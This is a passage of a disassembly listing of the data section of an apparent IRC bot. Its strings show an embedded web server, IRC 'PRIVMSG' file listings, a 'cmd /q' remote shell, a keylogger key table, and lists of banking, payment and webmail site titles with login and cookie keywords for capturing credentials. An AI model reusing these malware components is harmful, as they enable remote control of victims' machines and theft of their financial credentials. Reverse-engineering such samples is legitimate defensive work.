		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_434A04	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C24	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C5C	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434C90:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435138	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_43517C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351E4	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43522C	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
					; DATA XREF: ___:off_43750Co
unk_43526C	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4352B0	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352DC	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_435308	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_435344	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_435370	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_43539C	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_435538	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_43556C	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4355B4	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355DC	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43561C	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43565C	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_43569C	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
		dd 312C3003h, 5E207C32h, 4F42415Eh, 374C4153h, 7C205E5Eh
		dd 312C3003h, 3050207Ch, 46723377h, 796C6C75h, 31037C20h
		dd 7C20382Ch, 6E573020h, 3E204433h, 732520h, 0
dword_435898	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436498	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436C04	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_437510
		dd offset off_43750C
		dd offset off_437508
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436CA4o
		align 4
off_437508	dd offset word_505446	; DATA XREF: ___:00436CA0o
off_43750C	dd offset aFailedToSta_36+0Dh ;	DATA XREF: ___:00436C9Co
off_437510	dd offset word_544F42	; DATA XREF: ___:00436C98o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
